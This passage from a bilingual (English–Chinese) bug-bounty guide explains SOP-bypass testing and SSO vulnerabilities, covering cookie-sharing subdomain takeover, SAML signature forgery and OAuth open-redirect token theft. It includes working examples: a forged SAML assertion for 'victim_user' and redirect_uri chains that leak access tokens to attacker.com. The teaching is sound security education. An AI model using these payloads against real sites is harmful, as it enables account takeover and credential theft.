如果返回其中任何一个"Access-Control-Allow-Origin"头部值，则说明存在CORS配置错误。攻击者可以绕过同源策略，窃取站外信息（图19-2）。

Figure 19-2 : Is the site vulnerable to a CORS misconfiguration vulnerability?

图19-2：该网站是否容易受到CORS配置错误漏洞的影响？

Step 3: Find postMessage Bugs

If the site is using postMessage , see if you can send or receive messages as an untrusted site. Create an HTML page with an iframe that frames the targeted page accepting messages. Try to send messages to that page that trigger a state-changing behavior. If the target cannot be framed, open it as a new window instead:

如果该网站使用postMessage，请尝试作为不受信任的网站发送或接收消息。创建一个HTML页面，其中包含一个框架，框架是针对可接受消息的目标页面的。尝试向该页面发送消息以触发状态改变行为。如果无法对目标进行框架设置，请打开它作为新窗口：

var recipient_window = window.open("https://TARGET_URL", target_domain)
recipient_window.postMessage("RANDOM MESSAGE", "*");

You can also create an HTML page that listens for events coming from the target page, and trigger the postMessage from the target site. See if you can receive sensitive data from the target page.

你还可以创建一个HTML页面，监听来自目标页面的事件，并从目标站点触发postMessage。看看是否可以从目标页面接收敏感数据。

var sender_window = window.open("https://TARGET_URL", target_domain)

function parse_data(event) {
  // Run some code if we receive data from the target
              }
window.addEventListener("message", parse_data);

Step 4: Find JSONP Issues

Finally, if the site is using JSONP, see if you can embed a script tag on your site and request the sensitive data wrapped in the JSONP payload:

如果该网站使用JSONP，请尝试嵌入一个脚本标签到你的网站，并请求JSONP有效载荷中包含的敏感数据。

<script src="https://TARGET_URL?callback=parseinfo"></script>

Step 5: Consider Mitigating Factors

When the target site does not rely on cookies for authentication, these SOP bypass misconfigurations might not be exploitable. For instance, when the site uses custom headers or secret request parameters to authenticate requests, you might need to find a way to forge those to exfiltrate sensitive data.

当目标网站不依赖于cookie进行身份验证时，这些SOP绕过错误配置可能无法利用。例如，当网站使用自定义标头或秘密请求参数来认证请求时，您可能需要找到一种方法来伪造这些内容以窃取敏感数据。

Escalating the Attack

An SOP-bypass bug often means that attackers can read private information or execute action as other users. This means that these vulnerabilities are often of high severity before any escalation attempts. But you can still escalate SOP-bypass issues by automation or by pivoting the attack using the information you’ve found. Can you harvest large amounts of user data by automating the exploitation of the SOP bypass? Can you use the information you’ve found to cause more damage? For example, if you can extract the security questions of a victim, can you use that information to completely take over the user’s account?

SOP绕过漏洞经常意味着攻击者可以读取私人信息或作为其他用户执行操作。这意味着在任何升级尝试之前，这些漏洞通常具有高危性。但您仍然可以通过自动化或使用发现的信息轴心攻击来升级SOP绕过问题。通过自动化利用SOP绕过来收集大量用户数据吗？您可以使用找到的信息造成更多的破坏吗？例如，如果可以提取受害者的安全问题，您是否可以使用该信息完全接管用户的帐户？

Many researchers will simply report CORS misconfigurations without showing the impact of the vulnerability. Consider the impact of the issue before sending the report. For instance, if a publicly readable page is served with a null Access-Control-Allow-Origin header, it would not cause damage to the application since that page does not contain any sensitive info. A good SOP-bypass report will include potential attack scenarios and indicate how attackers can exploit the vulnerability. For instance, what data can the attacker steal, and how easy would it be?

许多研究人员会简单地报告CORS配置错误，而不展示漏洞的影响。在发送报告之前，请考虑该问题的影响。例如，如果公开可读的页面使用空的访问控制允许来源标头，那么它不会对应用程序造成损害，因为该页面不包含任何敏感信息。一个好的SOP-bypass报告将包括潜在的攻击场景，并指出攻击者如何利用漏洞。例如，攻击者可以窃取什么数据，以及这有多容易？

Finding Your First SOP Bypass Vulnerability!

Go ahead and start looking for your first SOP bypass. To find SOP-bypass vulnerabilities, you will need to understand the SOP relaxation techniques the target is using. You may also want to become familiar with JavaScript in order to craft effective POCs.

请开始寻找您的第一个SOP绕过。要发现SOP绕过漏洞，您需要了解目标使用的SOP放宽技术。您可能还需要熟悉JavaScript，以制作有效的POC。

Find out if the application uses any SOP relaxation techniques. Is the application using CORS, postMessage , or JSONP?

If the site is using CORS, test the strength of the CORS allowlist by submitting test Origin headers.

If the site is using postMessage , see if you can send or receive messages as an untrusted site.

If the site is using JSONP, try to embed a script tag on your site and request the sensitive data wrapped in the JSONP payload.

Determine the sensitivity of the information you can steal using the vulnerability, and see if you can do something more.

Submit your bug report to the program!

20
Single-Sign-On Security Issues

Single sign-on ( SSO) is a feature that allows users to access multiple services belonging to the same organization without logging in multiple times. Once you’ve logged into a website that uses SSO, you won’t have to enter your credentials again when accessing another service or resource belonging to the same company. For example, if you’re logged into facebook.com , you won’t have to reenter your credentials to use messenger.com , a Facebook service.

单点登录（SSO）是一种功能，允许用户在不重复登录的情况下访问同一组织拥有的多个服务。一旦您登录了使用SSO的网站，您在访问同一公司的另一个服务或资源时便不需要再次输入凭据。例如，如果您已登录到facebook.com，使用messenger.com（Facebook服务）时就无需重新输入凭据。

This practice is convenient for companies with many web services, because they can manage a centralized source of user credentials instead of keeping track of a different set of users for each site. Users can save time as well, since they won’t need to log in multiple times when using the different services provided by the same company. Since it makes things so much easier for both companies and users, SSO has become common practice on the internet.

这种做法对于具有许多网络服务的公司非常方便，因为它们可以管理集中的用户凭据来源，而不是为每个网站跟踪不同的用户集。用户也可以节省时间，因为他们在使用同一家公司提供的不同服务时不需要多次登录。由于它使公司和用户的事情变得更加容易，因此SSO已成为互联网上的常见做法。

But new vulnerabilities that threaten SSO systems have also emerged. In this chapter, we’ll talk about three methods developers use to implement SSO, as well as some vulnerabilities related to each approach.

但是，新的漏洞威胁单点登录系统也已经出现。在本章中，我们将讨论开发人员使用的三种实现单点登录的方法，以及与每种方法相关的一些漏洞。

Mechanisms

Cookie sharing, SAML, and OAuth are the three most common ways of implementing SSO. Each mechanism has unique strengths and weaknesses, and developers choose different approaches depending on their needs.

Cookie共享、SAML和OAuth是实现SSO的三种最常见的方式。每种机制都有其独特的优点和缺点，开发人员根据他们的需求选择不同的方法。

Cooking Sharing

The implementation of SSO is quite easy if the services that need to share authentication are located under the same parent domain, as is the case with the web and mobile versions of Facebook at www.facebook.com and m.facebook.com . In these situations, applications can share cookies across subdomains.

如果需要共享身份验证的服务位于相同的父域下，实施单点登录(SSO) 就非常容易。这在 Facebook 网站和移动应用程序版本www.facebook.com 和 m.facebook.com 中是这样的情况。在这些情况下，应用程序可以在子域之间共享cookies。

How Cookie Sharing Works

Modern browsers allow sites to share their cookies across subdomains if the cookie’s Domain flag is set to a common parent domain. For example, if the server sets a cookie like the following, the cookie will be sent to all subdomains of facebook.com :

现代浏览器允许网站通过将Cookie的Domain标志设置为公共父域来跨子域共享Cookie。例如，如果服务器设置以下Cookie，该Cookie将被发送到Facebook.com的所有子域：

Set-Cookie: cookie=abc123; Domain=facebook.com; Secure; HttpOnly

However, not all applications can use this approach, because cookies can’t be shared this way across different domains. For instance, facebook.com and messenger.com can’t share cookies, because they don’t share a common parent domain.

然而，并非所有应用程序都能使用此方法，因为 Cookie 不能在不同域之间以此方式共享。例如，facebook.com 和 messenger.com 不能共享 cookie，因为它们没有共同的父域。

Moreover, this simple SSO setup comes with unique vulnerabilities. First, because the session cookie is shared across all subdomains, attackers can take over the accounts of all websites under the same parent domain by stealing a single cookie from the user. Usually, attackers can steal the session cookies by finding a vulnerability like cross-site scripting.

此外，这种简单的单点登录设置存在独特的漏洞。首先，由于会话 cookie 在所有子域之间共享，攻击者可以通过窃取用户的单个 cookie 接管同一父域下所有网站的帐户。通常，攻击者可以通过查找如跨站脚本等漏洞来窃取会话 cookie。

Another common method used to compromise shared-session SSO is with a subdomain takeover vulnerability.

另一种常用的攻击共享会话单点登录的方法是使用子域劫持漏洞。

Subdomain Takeovers

Put simply, subdomain takeovers occur when an attacker takes control over a company’s unused subdomain.

简单来说，子域接管发生在攻击者接管公司未使用的子域名时。

Let’s say a company hosts its subdomain on a third-party service, such as AWS or GitHub Pages. The company can use a DNS CNAME record to point the subdomain to another URL on the third-party site. This way, whenever users request the official subdomain, they’ll be redirected to the third-party web page.

假设有一家公司将其子域名托管在第三方服务上，例如AWS或GitHub Pages上。该公司可以使用DNS CNAME记录将子域名指向第三方站点上的另一个URL。这样，每当用户请求正式子域名时，他们将被重定向到第三方网页。

For example, say an organization wants to host its subdomain, abc.example.com , on the GitHub page abc_example.github.io . The organization can use a DNS CNAME record to point abc.example.com to abc_example.github.io so that users who try to access abc.example.com will be redirected to the GitHub-hosted page.

例如，假设一个组织希望将其子域abc.example.com托管在GitHub页面abc_example.github.io上。该组织可以使用DNS CNAME记录将abc.example.com指向abc_example.github.io，以便尝试访问abc.example.com的用户将被重定向到托管在GitHub上的页面。

But if this third-party site is deleted, the CNAME record that points from the company’s subdomain to that third-party site will remain unless someone remembers to remove it. We call these abandoned CNAME records dangling CNAMEs . Since the third-party page is now unclaimed, anyone who registers that site on the third-party service can gain control of the company’s subdomain.

如果这个第三方网站被删除了，从公司子域名到第三方网站的CNAME记录会继续存在，除非有人记得删除它。我们称这些废弃的CNAME记录为悬挂的CNAME。由于第三方页面现在无人认领，任何在第三方服务上注册该网站的人都可以控制公司的子域名。

Let’s say the company in our example later decides to delete the GitHub page but forgets to remove the CNAME record pointing to abc_example.github.io . Because abc_example.github.io is now unclaimed, anyone can register a GitHub account and create a GitHub page at abc_example.github.io . Since abc.example.com still points to abc_example.github.io , the owner of abc_example.github.io now has full control over abc.example.com .

假设我们的例子中的公司决定删除GitHub页面，但忘记删除指向abc_example.github.io的CNAME记录。由于abc_example.github.io现在未被认领，任何人都可以注册GitHub帐户并在abc_example.github.io上创建GitHub页面。由于abc.example.com仍然指向abc_example.github.io，abc_example.github.io的所有者现在完全控制abc.example.com。

Subdomain takeovers allow attackers to launch sophisticated phishing campaigns. Users sometimes check that the domain name of a page they’re visiting is legit, and subdomain takeovers allow attackers to host malicious pages using legitimate domain names. For example, the attacker who took over abc.example.com can host a page that looks like example.com on the GitHub page to trick users into providing their credentials.

子域劫持让攻击者能够启动复杂的网络钓鱼攻击。用户有时会检查他们正在访问的页面的域名是否合法，而子域劫持允许攻击者使用合法的域名来托管恶意页面。例如，劫持 abc.example.com 的攻击者可以在 GitHub 页面上托管一个看起来像 example.com 的页面，以欺骗用户提供他们的凭证。

But subdomain takeovers can become even more dangerous if the organization uses cookie sharing. Imagine that example.com implements a shared-session-based SSO system. Its cookies will be sent to any subdomain of example.com , including abc.example.com . Now the attacker who took over abc.example.com can host a malicious script there to steal session cookies. They can trick users into accessing abc.example.com , maybe by hosting it as a fake image or sending the link over to the user. As long as the victim has already logged into example.com ’s SSO system once, the victim’s browser will send their cookie to the attacker’s site. The attacker can steal the victim’s shared session cookie and log in as the victim to all services that share the same session cookie.

子域接管可能会变得更加危险，如果组织使用 cookie 共享。想象一下，example.com 实施了共享会话基础的 SSO 系统。它的 cookie 将被发送到 example.com 的任何子域，包括 abc.example.com。现在接管了 abc.example.com 的攻击者可以在那里托管恶意脚本来窃取会话 cookie。他们可以通过主持它作为假图像或向用户发送链接来诱骗用户访问 abc.example.com。只要受害者已经登录 example.com 的 SSO 系统一次，受害者的浏览器就会将他们的 cookie 发送到攻击者的站点。攻击者可以窃取受害者的共享会话 cookie 并以受害者的身份登录所有共享同一会话 cookie 的服务。

If the attacker can steal the shared session cookie by taking control of a single subdomain, all example.com sites will be at risk. Because the compromise of a single subdomain can mean a total compromise of the entire SSO system, using shared cookies as an SSO mechanism greatly widens the attack surface for each service.

如果攻击者能够通过控制单个子域名窃取共享会话 cookie，则所有 example.com 网站都会面临风险。因为单个子域名的妥协可能意味着对整个 SSO 系统的完全妥协，使用共享 cookie 作为 SSO 机制极大地扩大了每个服务的攻击面。

Security Assertion Markup Language

Security Assertion Markup Language ( SAML) is an XML-based markup language used to facilitate SSO on larger-scale applications. SAML enables SSO by facilitating information exchange among three parties: the user, the identity provider, and the service provider.

安全断言标记语言（SAML）是一种基于XML的标记语言，用于在更大规模的应用程序上实现单点登录。SAML通过促进三方之间的信息交换而实现SSO：用户、身份提供者和服务提供者。

How SAML Works

In SAML systems, the user obtains an identity assertion from the identity provider and uses that to authenticate to the service provider. The identity provider is a server in charge of authenticating the user and passing on user information to the service provider. The service provider is the actual site that the user intends to access.

在SAML系统中，用户从身份提供者获得身份断言，并使用它来向服务提供者进行身份验证。身份提供者是负责对用户进行身份验证并将用户信息传递给服务提供者的服务器。服务提供者是用户打算访问的实际网站。

Figure 20-1 illustrates how the process works.

图20-1说明了该过程的工作原理。

Figure 20-1 : A simplified view of the SAML authentication process

图20-1：SAML认证过程的简化视图。

First, you try to access a resource from the service provider. Since you aren’t logged in, the service provider makes you send a SAML request to the identity provider. Once you’ve provided your credentials, the identity provider will send you a SAML response, which you can use to authenticate to the service provider. The SAML response contains an identity assertion that communicates your identity to the service provider. These are usually uniquely identifiable pieces of information such as your username, email address, or user ID. For instance, take a look at the following SAML identity assertion. It communicates the user’s identity via the user’s username:

首先，您尝试从服务提供商访问资源。由于您尚未登录，服务提供商要求您向身份提供商发送 SAML 请求。一旦您提供了凭据，身份提供商将向您发送 SAML 响应，您可以使用该响应来对服务提供商进行身份验证。SAML 响应包含一个身份断言，用于向服务提供商传达您的身份信息。这些通常是可唯一标识的信息片段，例如您的用户名、电子邮件地址或用户 ID。例如，查看以下 SAML 身份断言。它通过用户的用户名来传达用户的身份。

<saml:AttributeStatement>
 <saml:Attribute Name="username">
   <saml:AttributeValue>
     user1
   </saml:AttributeValue>
 </saml:Attribute>
</saml:AttributeStatement>

Note

All the SAML messages in this chapter are highly simplified for the sake of readability. Realistic SAML messages will be longer and contain a lot more information.

本章中的所有SAML消息都经过了高度简化以便于阅读。真实的SAML消息将会更长，并包含更多的信息。

SAML Vulnerabilities

As you can see in Figure 20-1 , the key to accessing resources held by the service provider is in the SAML response. An attacker who can control the SAML response passed to the service provider can authenticate as someone else. Therefore, applications need to protect the integrity of their SAML messages, which they usually accomplish by using a signature to sign the message.

如图20-1所示，访问服务提供商所持有的资源的关键在于SAML响应中。能够控制传递给服务提供商的SAML响应的攻击者可以冒充他人进行身份验证。因此，应用程序需要保护其SAML消息的完整性，通常通过使用签名对消息进行签名来实现。

SAML can be secure if the SAML signature is implemented correctly. However, its security breaks apart if attackers can find a way to bypass the signature validation and forge the identity assertion to assume the identity of others. For example, if the attacker can change the embedded username in a SAML assertion, they can log in as another user.

如果SAML签名被正确实施，SAML可以很安全。然而，如果攻击者能够找到绕过签名验证并伪造身份声明以假扮他人身份的方法，它的安全性就会瓦解。例如，如果攻击者能够更改SAML声明中嵌入的用户名，则他们可以以另一个用户身份登录。

The digital signature that most applications apply to SAML messages ensures that no one can tamper with them. If a SAML message has the wrong signature, it won’t be accepted:

大多数应用程序应用于SAML消息的数字签名确保任何人都不能篡改它们。如果SAML消息具有错误的签名，则不会被接受。

<saml:Signature>
    <saml:SignatureValue>
        dXNlcjE=
    </saml:SignatureValue>
</saml:Signature>
<saml:AttributeStatement>
    <saml:Attribute Name="username">
        <saml:AttributeValue>
            user1
        </saml:AttributeValue>
    </saml:Attribute>
</saml:AttributeStatement>

Unfortunately, SAML security mechanisms aren’t always well implemented. Sometimes the SAML signature isn’t implemented or verified at all! If this is the case, attackers can forge the identity information in the SAML response at will. Other times, developers make the mistake of verifying signatures only if they exist. Attackers can then empty the signature field or remove the field completely to bypass the security measure.

遗憾的是，SAML安全机制并不总是很好地实施。有时并没有实现或验证SAML签名！如果是这种情况，攻击者可以随意伪造SAML响应中的身份信息。其他时候，开发人员的错误是仅在存在时验证签名。攻击者可以随后清空签名字段或完全移除该字段以绕过安全措施。

Lastly, if the signing mechanism used to generate the signature is weak or predictable, attackers can forge signatures. If you take a closer look at the previous signed SAML message, you’ll notice that the signature, dXNlcjE= , is just the base64 encoding of user1 . We can deduce that the signature mechanism used is base64( username ) . To forge a valid identity assertion for victim_user , we can change the signature field to base64(" victim_user") , which is dmljdGltX3VzZXI= , and obtain a valid session as victim_user :

最后，如果用于生成签名的签名机制是脆弱或可预测的，则攻击者可以伪造签名。如果你仔细查看前面签署的SAML消息，你会发现签名“dXNlcjE= ”只是用户1的Base64编码。我们可以推断出所使用的签名机制是Base64（用户名）。为了伪造victim_user的有效身份声明，我们可以将签名字段更改为Base64（“victim_user”），即dmljdGltX3VzZXI=，并作为victim_user获得有效会话：

<saml:Signature>
    <saml:SignatureValue>
        dmljdGltX3VzZXI=
    </saml:SignatureValue>
</saml:Signature>
<saml:AttributeStatement>
    <saml:Attribute Name="username">
        <saml:AttributeValue>
            victim_user
        </saml:AttributeValue>
    </saml:Attribute>
</saml:AttributeStatement>

Another common mistake developers make is trusting that encryption alone will provide adequate security for the SAML messages. Encryption protects a message’s confidentiality, not its integrity. If a SAML response is encrypted but not signed, or signed with a weak signature, attackers can attempt to tamper with the encrypted message to mess with the outcome of the identity assertion.

开发者常犯的另一个错误是相信仅依靠加密即可为SAML消息提供足够的安全保障。加密可以保护消息的保密性，但不能保护其完整性。如果SAML响应被加密但未签名，或者签名过于薄弱，攻击者可以试图篡改加密的消息以干扰身份断言的结果。

There are many interesting ways of tampering with encrypted messages without having to break the encryption. The details of such techniques are beyond the scope of this book, but I encourage you to look them up on the internet. To learn more about encryption attacks, visit Wikipedia at https://en.wikipedia.org/wiki/Encryption#Attacks_and_countermeasures .

有许多有趣的方法可以篡改加密消息，而不必破解加密。这些技术的细节超出了本书的范围，但我鼓励您在互联网上查找相关信息。如想了解更多关于加密攻击的信息，请访问维基百科：https://zh.wikipedia.org/wiki/%E5%8A%A0%E5%AF%86#%E5%AF%B9%E5%86%B2%E5%92%8C%E5%AF%B9%E6%8A%97%E5%8A%9B%E6%8E%AA%E6%96%BD。

SAML messages are also a common source of sensitive data leaks. If a SAML message contains sensitive user information, like passwords, and isn’t encrypted, an attacker who intercepts the victim’s traffic might be able to steal those pieces of information.

SAML消息也是敏感数据泄漏的常见来源。如果SAML消息包含敏感的用户信息，比如密码，并且没有加密，攻击者截获受害者的流量就有可能窃取这些信息。

Finally, attackers can use SAML as a vector for smuggling malicious input onto the site. For example, if a field in a SAML message is passed into a database, attackers might be able to pollute that field to achieve SQL injection. Depending on how the SAML message is used server-side, attackers might also be able to perform XSS, XXE, and a whole host of other nasty web attacks.

最终，攻击者可以使用SAML作为将恶意输入走私到站点上的向量。例如，如果将SAML消息中的字段传递到数据库中，攻击者可能能够污染该字段以实现SQL注入。根据SAML消息在服务器端的使用方式，攻击者还可以执行XSS、XXE和其他许多恶意网络攻击。

These SAML vulnerabilities all stem from a failure to protect SAML messages by using signatures and encryption. Applications should use strong encryption and signature algorithms and protect their secret keys from theft. Additionally, sensitive user information such as passwords shouldn’t be transported in unencrypted SAML messages. Finally, as with all user input, SAML messages should be sanitized and checked for malicious user input before being used.

这些 SAML 漏洞来自于未通过签名和加密保护 SAML 消息。应用程序应该使用强加密和签名算法，并保护其密钥不被盗取。此外，敏感用户信息（如密码）不应以未加密的 SAML 消息形式传输。最后，与所有用户输入一样，SAML 消息应被清理并检查是否存在恶意用户输入，然后再使用。

OAuth

The final way of implementing SSO that we’ll discuss is OAuth. OAuth is essentially a way for users to grant scope-specific access tokens to service providers through an identity provider. The identity provider manages credentials and user information in a single place, and allows users to log in by supplying service providers with information about the user’s identity.

我们即将讨论的最终单点登录实现方式是OAuth。OAuth本质上是一种用户通过身份提供者为服务提供商提供特定范围访问令牌的方式。身份提供者在单一位置管理凭证和用户信息，并允许用户通过提供有关用户身份的信息向服务提供商登录。

How OAuth Works

When you log in to an application using OAuth, the service provider requests access to your information from the identity provider. These resources might include your email address, contacts, birthdate, and anything else it needs to determine who you are. These permissions and pieces of data are called the scope . The identity provider will then create a unique access_token that the service provider can use to obtain the resources defined by the scope.

当您使用OAuth登录应用程序时，服务提供商会向身份提供者请求访问您的信息。这些资源可能包括您的电子邮件地址、联系人、出生日期等任何需要确定您身份的信息。这些权限和数据被称为范围。身份提供者将创建一个唯一的访问令牌，服务提供商可以使用该令牌来获取范围定义的资源。

Let’s break things down further. When you log in to the service provider via OAuth, the first request that the service provider will send to the identity provider is the request for an authorization . This request will include the service provider’s client_id used to identify the service provider, a redirect_uri used to redirect the authentication flow, a scope listing the requested permissions, and a state parameter, which is essentially a CSRF token:

让我们进一步拆解。当您通过OAuth登录服务提供商时，服务提供商发送给身份提供商的第一个请求是授权请求。此请求将包括用于标识服务提供商的client_id，用于重定向身份验证流程的redirect_uri，列出所请求权限的scope和状态参数，这是一个CSRF令牌：

identity.com/oauth?
client_id=CLIENT_ID
&response_type=code
&state=STATE
&redirect_uri=https://example.com/callback
&scope=email

Then, the identity provider will ask the user to grant access to the service provider, typically via a pop-up window. Figure 20-2 shows the pop-up window that Facebook uses to ask for your consent to send information to spotify.com if you choose to log in to Spotify via Facebook.

然后，身份提供者将要求用户通过弹出窗口向服务提供者授权访问。图20-2显示了Facebook在您选择通过Facebook登录到Spotify时要求您同意向spotify.com发送信息的弹出窗口。

Figure 20-2 : The consent pop-up seen during a typical OAuth flow

图20-2：在OAuth流程中看到的同意弹出窗口。

After the user agrees to the permissions the service provider asks for, the identity provider will send the redirect_uri an authorization code:

用户同意要求的权限后，身份提供者将向redirect_uri发送授权码。

https://example.com/callback?authorization_code=abc123&state=STATE

The service provider can then obtain an access_token from the identity provider by using the authorization code, along with their client ID and secret. Client IDs and client secrets authenticate the service provider to the identity provider:

服务提供商可以使用授权代码以及其客户端ID和密钥从身份提供者获得访问令牌。客户端ID和客户端密钥将服务提供商身份验证到身份提供者：

identity.com/oauth/token?
client_id=CLIENT_ID
&client_secret=CLIENT_SECRET
&redirect_uri=https://example.com/callback
&code=abc123

The identity provider will send back the access_token , which can be used to access the user’s information:

身份提供者会发送回访问令牌，该令牌可用于访问用户信息：

https://example.com/callback?#access_token=xyz123

A service provider might, for instance, initiate a request to the identity provider for an access token to access the user’s email. Then it could use the email retrieved from the identity provider as proof of the user’s identity to log the user in to the account registered with the same email address.

例如，服务提供者可能会向身份提供者发起请求，以获取访问令牌来访问用户的电子邮件。然后，它可以使用从身份提供者检索到的电子邮件作为用户身份的证明，将用户登录到使用相同电子邮件地址注册的帐户中。

OAuth Vulnerabilities

Sometimes attackers can bypass OAuth authentication by stealing critical OAuth tokens through open redirects. Attackers do this by manipulating the redirect_uri parameter to steal the access_token from the victim’s account.

攻击者有时可以通过开放式重定向窃取关键的OAuth令牌来绕过OAuth身份验证。攻击者通过操纵redirect_uri参数来窃取受害者账户中的access_token来实现这一点。

The redirect_uri determines where the identity provider sends critical pieces of information like the access_token . Most major identity providers, therefore, require service providers to specify an allowlist of URLs to use as the redirect_uri . If the redirect_uri provided in a request isn’t on the allowlist, the identity provider will reject the request. The following request, for example, will be rejected if only example.com subdomains are allowed:

重定向URI确定身份提供者发送访问令牌等关键信息的位置。因此，大多数主要的身份提供者要求服务提供者指定允许使用作为重定向URI的URL的白名单。如果请求中提供的重定向URI不在白名单上，身份提供者将拒绝该请求。例如，如果仅允许example.com子域，则将拒绝以下请求：

client_id=CLIENT_ID
&response_type=code
&state=STATE
&redirect_uri=https://attacker.com
&scope=email

But what if an open redirect vulnerability exists within one of the allowlisted redirect_uri URLs? Often, access_token s are communicated via a URL fragment, which survives all cross-domain redirects. If an attacker can make the OAuth flow redirect to the attacker’s domain in the end, they can steal the access_token from the URL fragment and gain access to the user’s account.

但是，如果其中一个明确允许的redirect_uri URL中存在开放重定向漏洞怎么办？通常，access_token通过URL fragment进行传递，它可以在所有跨域重定向中生存。如果攻击者最终可以让OAuth流程重定向到攻击者的域，他们可以从URL fragment中窃取access_token并获取用户账户的访问权限。

One way of redirecting the OAuth flow is through a URL-parameter-based open redirect. For example, using the following URL as the redirect_uri

通过基于URL参数的开放式重定向是重定向OAuth流程的一种方法。例如，使用以下URL作为redirect_uri。

redirect_uri=https://example.com/callback?next=attacker.com

will cause the flow to redirect to the callback URL first

将会导致流向首先重定向到回调URL。

https://example.com/callback?next=attacker.com#access_token=xyz123

and then to the attacker’s domain:

然后进入攻击者的域。

https://attacker.com#access_token=xyz123

The attacker can send the victim a crafted URL that will initiate the OAuth flow, and then run a listener on their server to harvest the leaked tokens:

攻击者可以向受害者发送一个精心构造的URL来启动OAuth流程，然后在他们的服务器上运行监听器以收集泄漏的令牌：

identity.com/oauth?
client_id=CLIENT_ID
&response_type=code
&state=STATE
&redirect_uri=https://example.com/callback?next=attacker.com
&scope=email

Another way of redirecting the OAuth flow is through a referer-based open redirect. In this case, the attacker would have to set up the referer header by initiating the OAuth flow from their domain:

另一种重定向OAuth流程的方式是基于引荐者的开放式重定向。在这种情况下，攻击者必须通过从其域中启动OAuth流程来设置引荐者标头：

<a href="https://example.com/login_via_facebook">Click here to log in to example.com</a>

This will cause the flow to redirect to the callback URL first:

这将导致流程首先重定向到回调URL：

https://example.com/callback?#access_token=xyz123

Then it would redirect to the attacker’s domain via the referer:

那么它将通过引用者重定向到攻击者的域名：

https://attacker.com#access_token=xyz123

Even when attackers can’t find an open redirect on the OAuth endpoint itself, they can still smuggle the tokens offsite if they can find an open redirect chain . For example, let’s say the redirect_uri parameter permits only further redirects to URLs that are under the example.com domain. If attackers can find an open redirect within that domain, they can still steal OAuth tokens via redirects. Let’s say an unfixed open redirect is on the logout endpoint of example.com :

即使攻击者无法在OAuth端点本身上找到一个开放的重定向，如果他们可以找到一个开放的重定向链，他们仍然可以将令牌带离现场。例如，假设redirect_uri参数仅允许进一步重定向到example.com域下的URL。如果攻击者可以在该域内找到一个开放的重定向，他们仍然可以通过重定向窃取OAuth令牌。例如，假设在example.com的注销端点上存在一个未修复的开放式重定向：

https://example.com/logout?next=attacker.com

By taking advantage of this open redirect, the attacker can form a chain of redirects to eventually smuggle the token offsite, starting with the following:

通过利用这种开放式重定向，攻击者可以形成一系列重定向链，最终将令牌带到外部网站，从以下开始：

redirect_uri=https://example.com/callback?next=example.com/logout?next=attacker.com

This redirect_uri will first cause the flow to redirect to the callback URL:

这个 redirect_uri 将先使流程重定向到回调 URL：

https://example.com/callback?next=example.com/logout?next=attacker.com#access_token=xyz123

Then to the logout URL vulnerable to open redirect:

然后到注销URL容易受到开放重定向攻击:

https://example.com/logout?next=attacker.com#access_token=xyz123

Then it will redirect to the attacker’s domain. The attacker can harvest the access token via their server logs, and access the user’s resources via the stolen token:

然后它将重定向到攻击者的域名。攻击者可以通过服务器日志收集访问令牌，并通过窃取的令牌访问用户资源。

https://attacker.com#access_token=xyz123

Besides stealing access tokens via an open redirect, long-lived tokens that don’t expire are also a major OAuth vulnerability. Sometimes tokens aren’t invalidated periodically and can be used by attackers long after they are stolen, and remain valid even after password reset. You can test for these issues by using the same access tokens after logout and after password reset.

除了通过开放重定向窃取访问令牌外，长期不过期的令牌也是OAuth的一个重大漏洞。有时候令牌不会定期失效，攻击者可以在盗窃后长期使用它们，即使密码重置后仍然有效。您可以通过在注销和密码重置后使用相同的访问令牌来测试这些问题。

Hunting for Subdomain Takeovers

Let’s start your hunt for SSO vulnerabilities by finding some subdomain takeovers. The best way to reliably discover subdomain takeovers is to build a system that monitors a company’s subdomains for takeovers. But before you do that, let’s look at how you can search for subdomain takeovers manually.

让我们开始搜索 SSO 漏洞，找到一些子域接管。可靠地发现子域接管的最佳方法是构建一个监控公司子域的系统以寻找接管。但是在这之前，让我们看看您如何手动搜索子域接管。

Step 1: List the Target’s Subdomains

First, you need to build a list of all the known subdomains of your target. This can be done using tools mentioned in Chapter 5 . Next, use a screenshot application like EyeWitness or Snapper to see what is hosted on each subdomain.

首先，您需要建立一个包含目标所有已知子域的列表。可以使用第5章提到的工具完成此操作。接下来，使用像EyeWitness或Snapper这样的截图应用程序，查看每个子域托管的内容。

Step 2: Find Unregistered Pages

Look for third-party pages indicating that the page isn’t registered. For example, if the third-party page is hosted on GitHub Pages, you should see something like Figure 20-3 on the subdomain.

寻找第三方页面，查看是否指示该页面尚未注册。例如，如果第三方页面托管在GitHub页面上，您应该在子域上看到类似于Figure 20-3的东西。

Even if you’ve found a dangling CNAME, not all third-party hosting providers are vulnerable to takeovers. Some providers employ measures to verify the identity of users, to prevent people from registering pages associated with CNAME records. Currently, pages hosted on AWS, Bitbucket, and GitHub are vulnerable, whereas pages on Squarespace and Google Cloud are not. You can find a full list of which third-party sites are vulnerable on EdOverflow’s page on the topic ( https://github.com/EdOverflow/can-i-take-over-xyz/ ). You can find a list of page signatures that indicate an unregistered page there too.

即使您已找到了悬挂的CNAME，不是所有第三方托管提供商都容易被接管。一些提供商采用措施来验证用户身份，以防止人们注册与CNAME记录相关的页面。目前，AWS、Bitbucket和GitHub上托管的页面易受攻击，而Squarespace和Google Cloud上的页面则不受影响。您可以在EdOverflow关于此主题的页面上（https://github.com/EdOverflow/can-i-take-over-xyz/）找到哪些第三方站点易受攻击的完整列表。您也可以在那里找到指示未注册页面的页面签名列表。

Figure 20-3 : An indicator that this page hosted on GitHub Pages is unclaimed

图20-3：指示此页面托管在GitHub Pages上未被声明的指示。

Step 3: Register the Page

Once you’ve determined that the page is vulnerable to takeovers, you should try to register it on the third-party site to confirm the vulnerability. To register a page, go to the third-party site and claim the page as yours; the actual steps required vary by third-party provider. Host a harmless proof-of-concept page there to prove the subdomain takeover, such as a simple HTML page like this one:

一旦确定页面容易被接管，你应该尝试在第三方网站上注册以确认此漏洞。要注册一个页面，请前往第三方网站并声明该页面为您的所有权；具体步骤因第三方供应商而异。在第三方网站上托管一个无害的概念验证页面，以证明子域接管，例如这样一个简单的HTML页面：

<html>Subdomain Takeover by Vickie Li.</html>

Make sure to keep the site registered until the company mitigates the vulnerability by either removing the dangling DNS CNAME or by reclaiming the page on the third-party service. If you don’t, a malicious attacker might be able to take over the subdomain while the bug report is being processed.

确保在公司解决漏洞之前，保持站点注册，可以通过删除悬空的DNS CNAME或在第三方服务上重新获取页面来解决漏洞。如果不这样做，则在漏洞报告正在处理时，恶意攻击者可能会接管子域。

